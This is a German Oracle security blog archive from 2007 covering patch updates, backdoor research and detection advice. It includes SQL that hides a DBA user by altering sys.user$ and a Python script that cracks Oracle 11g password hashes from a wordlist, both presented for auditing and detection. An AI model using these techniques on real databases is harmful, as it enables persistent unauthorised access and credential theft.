Archive for the ‘Oracle Security’ Category

Unsichtbare Benutzer durch Datenmanipulation

Montag, Dezember 24th, 2007

Auf der Deepsec-Konferenz gab David Litchfield eine Präsentation zum Thema „In-Memory Rootkits„.  Beiläufig erwähnte er auch die Möglichkeit, unsichtbare Benutzer durch Modifikation der Tablespacenummer zu erzeugen („update sys.user$ set datats#=31337 where user#=76„).Um diese unsichtbaren Benutzer zu finden, riet David, das folgende Statement zu verwenden („SELECT NAME FROM SYS.USER$ WHERE TYPE# =1 MINUS SELECT USERNAME FROM SYS.DBA_USERS„).

————- Tests auf 10.2.0.3 mit Oct 2007 CPU ——————–

— Benutzer U1 mit DBA Rechten erzeugen

SQL> create user u1 identified by u1;

SQL> grant dba to u1;

SQL> select user#, name, datats# from sys.user$;

         0 SYS                                     0

         1 PUBLIC                                  0

        76 U1                                      5

 

— datats# auf einen nicht existierenden Wert setzen

SQL> update sys.user$ set datats#=31337 where user#=76;

 

1 row updated.

 

SQL> commit;

 

Commit complete.

 

— Vergleich sys.user$ mit dba_users

— Wie eine Suche mit Google zeigt, wird dies von vielen verwendet, um unsichtbare Benutzer zu verwenden 

SQL> SELECT NAME FROM SYS.USER$ WHERE TYPE# =1 MINUS SELECT USERNAME FROM SYS.DBA_USERS;

 

U1

 

 

— Aber funktioniert dies immer?

 

— Warum nur eine Spalte updaten?

— Wir ändern einfach den type# auf 2 (Neustart der Datenbank ist notwendig) 

SQL> update sys.user$ set type#=2 where user#=76;

 

1 row updated.

 

SQL> commit;

 

Commit complete.

 

— Wenn wir das vorgeschlagene Statement laufen lassen,

— wird unser User nicht angezeigt. Diesen Fehler haben

— aber alle gemacht (David, Pete, Alex, …) 

SQL> SELECT NAME FROM SYS.USER$ WHERE TYPE# =1 MINUS SELECT USERNAME FROM SYS.DBA_USERS;

 

no rows selected

————-

 

— Zum Testen ist es notwendig, die Datenbank zu starten, da ohne Neustart der Datenbank auch type#<0 funktioniert

SQL> conn u1/u1

 

— Deshalb sollte folgendes Statement verwendet werden

SQL> SELECT NAME FROM SYS.USER$ WHERE TYPE# !=0 MINUS SELECT USERNAME FROM SYS.DBA_USERS;

 

U1

 

 Frohe Weihnachten.  

DOAG Präsentation – Best of Oracle Security 2007

Mittwoch, November 28th, 2007

Ich habe gerade einige Präsentationen zum Thema DOAG 2007 – „Best of Oracle Security 2007“ (dt). und Deepsec 2007 – „Retrieving Sensitive Information from Oracle Databases“ (engl.) hochgeladen.

Eine Liste unserer Präsentationen finden Sie hier.

D.o.S. Exploit für Oracle 10.2.0.1/10.2.0.2 auf Bugtraq veröffentlicht

Samstag, November 3rd, 2007

Gestern hat ein anonymer Poster (oraclefun@hushmail.com) einen Exploit für XDB_PITRIG_PKG.PITRIG_DROPMETADATA in Oracle 10.2.0.1/10.2.0.2 auf der Sicherheits Mailingliste Buqtraq veröffentlicht, ohne jedoch Erklärungen über betroffene Versionen zu veröffentlichen. Nach einigen Tests gegen verschiedene Datenbank-Versionen habe ich herausgefunden, dass nicht gepatchte Oracle 10.2.0.1 und 10.2.0.2 Datenbanken sofort abstürzen.

Um diesen Exploit laufen zu lassen sind lediglich „Create Session“-Privilegien notwendig. 10.2.0.3 ist nicht davon betroffen.

Erwähnenswert ist weiterhin, dass dieser Exploit IDS Evasion Techniken verwendet und damit viele der üblichen netzwerkbasierten IDS Systeme austrickst.

Oracle 9i Rel. 1, 9i Rel. 2, 10g Rel.1 und 11g sind ebenfalls nicht betroffen und werfen Fehlermeldungen.
######### 9.2.0.8 , 10.1.0.5 #########
ERROR at line 22:
ORA-06550: line 22, column 1:
PLS-00201: identifier ‚XDB.XDB_PITRIG_PKG‘ must be declared
ORA-06550: line 22, column 1:
PL/SQL: Statement ignored
#########

######### 10.2.0.3 or 11g #########
ERROR at line 1:
ORA-29329: Table not of type XMLType
ORA-06512: at „XDB.XDB_PITRIG_PKG“, line 127
ORA-06512: at line 22
#########

Oracle CPU Oktober 2007 – 14 Fehler von Red-Database-Security gefixt (updated)

Dienstag, Oktober 16th, 2007

Oracle hat gerade den Critical Patch Update für Oktober veröffentlicht. Es wurden insgesamt 51 Fehler in verschiedenen Produkten korrigiert. In der Datenbank werden insgesamt 27 Lücken beseitigt.

14 der Fehler wurden von Red-Database-Security gemeldet. Wie üblich sind die Fehler von den üblichen Verdächtigungen (David, Esteban, Joxean und mir). Aus Österreich hat Johannes Greil Fehler gemeldet. Johannes hatte schon 2005 Fehler in Oracle Portal gemeldet.

Oracle korrigiert insgesamt 11 Fehler im Workspace Manager, 3 in Oracle Text und 3 in Oracle Spatial. Weiterhin werden Fehler in Advanced Queueing, XMLDB, OID und ASO) korrigiert. Auch gibt es 2 Fehler in Import/Export. Der Import Fehler (von mir letztes Jahr gemeldet) ist der kritischste Fehler mit einen Rating von 6.5 (CVSS 2.0 rating) und betrifft alle Versionen von Oracle. Einige von unseren Fehler (Database Vault (DB21) und Enterprise Manager (EM01)) sind remote ohne Benutzerkennung ausnutzbar.

Die Fehler in der Datenbank (AFAIK) sind SQL Injection (Workspace Manager, Spatial), Buffer Overflows, Privilegien Eskalation.

Interessant ist auch, dass Joxean Koret zumindestens einen seiner Fehler an Tipping Point verkauft hat („Joxean Koret working with Tipping Point’s Zero Day Initiative“). Für diejenigen, die Tipping Point nicht kennen:

Tipping Point ist ein Hersteller von IDS/IPS Systemen, die Sicherheitslücken in bekannteren Produkten (Oracle, MS, SAP, …) aufkaufen und diese dann, bevor die Patches erhältlich sind, in ihr IDS/IPS integrieren. Ein großer Schutz ist jedoch nicht zu erwarten, wenn 95% der Fehler nicht entdeckt werden….

Mehr Details bald.

SYSDBA Backdoor

Montag, Oktober 15th, 2007

Paul Wright hat ein Whitepaper „Oracle SYSDBA Backdoor“ veröffentlicht. Dort zeigt Paul, wie man einen neu angelegten SYSDBA Account so versteckt, dass er nicht mehr in den Oracle Standardviews angezeigt wird. Dazu ist es zwar notwendig, in der Oracle Binärdatei die  View GV$PWFILE zu patchen. Sobald dies aber getan ist, wird nach dem Neustart der Datenbank der bisher angezeigte SYSDBA Account nicht mehr in der View v$pwfile_users angezeigt. Lediglich die View X$KZSRT, die jedoch nur als SYSDBA verwendet werden kann, zeigt noch den versteckten Benutzer.

Paul verwendet hier einige der Ideen (View verändern, Binärdatei patchen), die ich letztes Jahr auf der BlackHat 2006 in meinem Vortrag „Oracle Rootkits 2.0“ gezeigt habe. Die Idee SYSDBA Benutzer zu verstecken ist sehr interessant. Das größte Problem ist wahrscheinlich das Patchen der Binärdateien, da das Herunterfahren einer Produktionsdatenbank recht auffällig ist.

Paul empfiehlt (wie ich bereits letztes Jahr) in kritischen Umgebungen Checksummen-Programme wie Tripwire, um Änderungen auf Betriebssystemebene anzuzeigen.

Pete empfiehlt den Parameter „remote_login_passwordfile = NONE“ zu setzen, was oftmals jedoch nicht möglich ist. Den wohl einfachsten Test, welche SYSDBA Benutzer existieren bzw. ob bereits solch eine Hintertür installiert ist, kann man unter Unix mit dem strings Kommando machen:

Oracle Oracle Password File

Interessant ist hierbei noch, dass der Benutzer INTERNAL auf in Oracle 11g immer noch existiert. Offiziel war dieser ja mit Oracle 9i „verschwunden“.

Sicherheitslücken in Oracle Database Vault

Donnerstag, Oktober 4th, 2007

Sven Vetter schreibt in seinem Technik-Blog, dass es per dynamischen SQL sehr einfach möglich sei, Database Vault auszutricksen. Das wundert mich nicht, da wir schon vor Monaten Sicherheitslücken in Database Vault an Oracle secalert gemeldet haben. Nachträglich solch ein Konzept einzuführen, ist natürlich nicht einfach und vor allem nie fehlerfrei. Die aktuelle Version dient wohl eher dazu, Know-How aufzubauen und vor allem die internen Prozesse, wie z.B. die DBAs arbeiten, an das Produkt anzupassen.

Vielleicht erfahren wir von Sven seinem Vortrag auf der DOAG mehr über diese Lücken.

Weiterhin schreibt Sven, dass „Es sind zu viele Security Lücken vorhanden, die das Lesen und Ändern von vertraulichen Daten als Datenbank- oder Betriebssystemadministrator zulassen – genau das aber verspricht dieses Produkt zu unterbinden„.
Dies ist so nicht richtig. Oracle schreibt dazu: „Oracle Database Vault can prevent highly privileged users, including powerful application DBAs and others, from accessing sensitive applications and data in Oracle databases outside their authorized responsibilities„. Oracle spricht nicht von Betriebssystemadministratoren.

Database Vault wurde NUR dazu entworfen, einen Benutzer mit DBA Berechtigungen OHNE Betriebssystemzugriff (direkt bzw. indirekt (z.B. dbms_scheduler)) einzuschränken (z.B. select any table oder Passwort Änderungen). Sobald man Betriebssystemzugriff (erlangt) hat, ist es trivial, Database Vault auszutricksen/ zu umgehen, da man beispielsweise als Betriebssystembenutzer Database Vault einfach ausschalten kann (wird für das Einspielen der CPUs benötigt). Dies ist aber keine Lücke, sondern Teil der Architektur von Database Vault.

Oracle Password Algorithmus 11g – PoC Code

Freitag, September 21st, 2007

Mit Oracle 11g hat Oracle einen neuen Algorithmus zum Hashen der Oracle-Passworte gewählt. Anstatt des alten Hash-Verfahrens, das auf DES basiert, verwendet der neue Algorithmus SHA-1. Weiterhin ist neu, dass nun auch Groß- und Kleinbuchstaben unterstützt werden.

Unser Partner, Recurity Labs GmbH, einer der führenden Experten für reverse Engineering, hat sich den neuen Oracle Passwort Algorithmus angesehen. Ein Blog-Eintrag mit der Analyse des Oracle Password Algorithmus von Recurity GmbH findet sich hier.

Thorsten Schröder von Recurity Labs GmbH (die vor kurzem umbenannte S*bre Labs GmbH) hat auch ein kleines Python Script geschrieben. Die an Oracle 11g angepasste checkpwd Version 2.0 und Performance-Werte gibt es am Montag.

Die Veröffentlichung des Oracle Passwort Algorithmus ist kein Security Problem, sondern hilft, auch 11g Datenbanken auf schwache Passworte zu überprüfen.

#!python

# „PoC“ Oracle 11g Database password-hash cracker
# This program uses the password hash value „spare4“ from the internal
# oracle user-database and a list of passwords via stdin to calculate a new
# hash value of the plaintext password. The new generated hash value is subsequently
# compared against the hash-value from sys.user, the internal oracle user-database.

# Author: Thorsten Schroeder <ths „theAthing“ recurity-labs.com>
# Berlin, 19. Sep. 2007

# TODO:
# cut passwords at length 30

import hashlib
import binascii
import sys

def main():

if( len(sys.argv[1]) != 60 ):
usage()
sys.exit(1)

try:
oraHash = sys.argv[1]
oraSalt = oraHash[40:60]
oraSha1 = oraHash[:40]
oraSha1 = oraSha1.upper()

print „[+] using salt: 0x%s“ % oraSalt
print „[+] using hash: 0x%s“ % oraSha1

for passwd in sys.stdin:
passwd = passwd.rstrip()
#print „[*] trying password „%s““ % passwd

s = hashlib.sha1()
s.update(passwd)
s.update(binascii.a2b_hex(oraSalt))
if( s.hexdigest().upper() == oraSha1 ):
print „[*] MATCH! -> %s“ % passwd
sys.exit(0)

except Exception, e:
print „[!] Error: „, e
usage()
raise

sys.exit(0)

def usage():
print „[+] usage: ./ora11gPWCrack.py <hex-value> < wordlist.txt“
return

if __name__ == ‚__main__‘:
main()

Kommendes Oracle Patchset 10.2.0.4

Mittwoch, September 12th, 2007

Im heutigen Oracle Security Training habe ich bei der Übung „Oracle Metalink Hacking“ die ersten Informationen zum Oracle Patchset 10.2.0.4  (erfordert Metalink-Account) gefunden. Wie üblich beschreibt Oracle vorab, welche Fehler im kommenden Patchset 10.2.0.4 korrigiert werden.

Beim Lesen der Fehlerliste wurde mir ein wenig unwohl. Zwar wusste ich, dass es ab und zu bei Abfragen in Oracle falsche Ergebnisse gibt (speziell bei Outer-Join-Syntax, daran laboriert Oracle seit Jahren), aber die Liste der Fehlerkorrekturen „Wrong Results“ ist mit 80 schon recht beeindruckend.

80 Fehler „Wrong Results“:
z.B. Wrong Results with with count() and IS NULL, Wrong results from CONNECT BY query, wrong results (no rows) from ANSI outer join, Wrong results using more than one OLS policy on a table, ….

Im Patchset sind auch einige Fehler mit „Security-Potential“ sind darunter. Vielleicht geht es aber auch nur mir so, dass mich Fehler wie

FGA records are not written for view on remote table (5860927),  Wrong results from V$XML_AUDIT_TRAIL (4596532), Dump in HS with very long TNS connect string (4767996),   Spin using UTL_TCP / UTL_HTTP (4686467), …

beunruhigen.

Oracle Jinitiator ActiveX control enthält mehrere Stack Buffer Overflows

Donnerstag, August 30th, 2007

Wie das US Cert im folgenden Advisory berichtet, enthält das ActiveX Control des Jinitiator 1.1.18.16 und früher mehrere Buffer Overflows, die Remote Code Execution erlaubt. Da dieses Control bei der Neuinstallation nicht entfernt wird, sind viele Systems davon betroffen. Da es keine Patches dafür gibt, empfiehlt das Cert ActiveX komplett zu deaktivieren (was meistens keine Alternative ist) oder aber das entsprechende Killbit zu setzen.

Die folgende Datei sollte als Textdatei abgespeichert und ausgeführt werden. Weitere Details zu Killbits und ActiveX findet man bei Microsoft in der Support-Note 240797.

———–killbit.reg—————

    Windows Registry Editor Version 5.00

    [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{9b935470-ad4a-11d5-b63e-00c04faedb18}]
    "Compatibility Flags"=dword:00000400

———–killbit.reg—————

Oracle-Deutschlandchef Jürgen Kunz über Oracle Security

Montag, August 13th, 2007

In einem Interview mit der CZ kommt der Deutschland Chef von Oracle Jürgen Kunz zu einem interessanten Schluss bzgl. Oracle Sicherheit “ Es ist in der Vergangenheit niemandem gelungen, über die Datenbank in unternehmenskritische Applikationen einzudringen“…
Interessant aber definitiv falsch. Wie bei jedem System werden meistens die schwächsten Stellen ausgenutzt. Und z.T. ist das eben die Datenbank, meistens aber die Anwendung. Das hängt vom Angreifer ab.

Bzgl. des Patchmanagements gebe ich allerdings Jürgen Kunz recht, dort sind auch die Anwender gefordert. Auch wenn das in der Vergangenheit nicht immer einfach war (siehe auch Probleme Oracle CPU April 2007 & Oracle 8.0.5 Clients oder Oracle Oktober/Januar CPU führt zur RMAN-Problemen). Oftmals ist auch schlichtweg wegen Patch-Konflikten nicht möglich, die Oracle Patches einzuspielen, weshalb nun die napply-Patches eingeführt wurden.
Oracle Security ist nicht nur ein Problem, das gelöst werden muss, sondern das komplexe Zusammenspiel vieler Faktoren (Oracle DB, Patches, Konfiguration, Anwendungen, DBAs, …). Und da muss jeder seiner Teil dazu beitragen.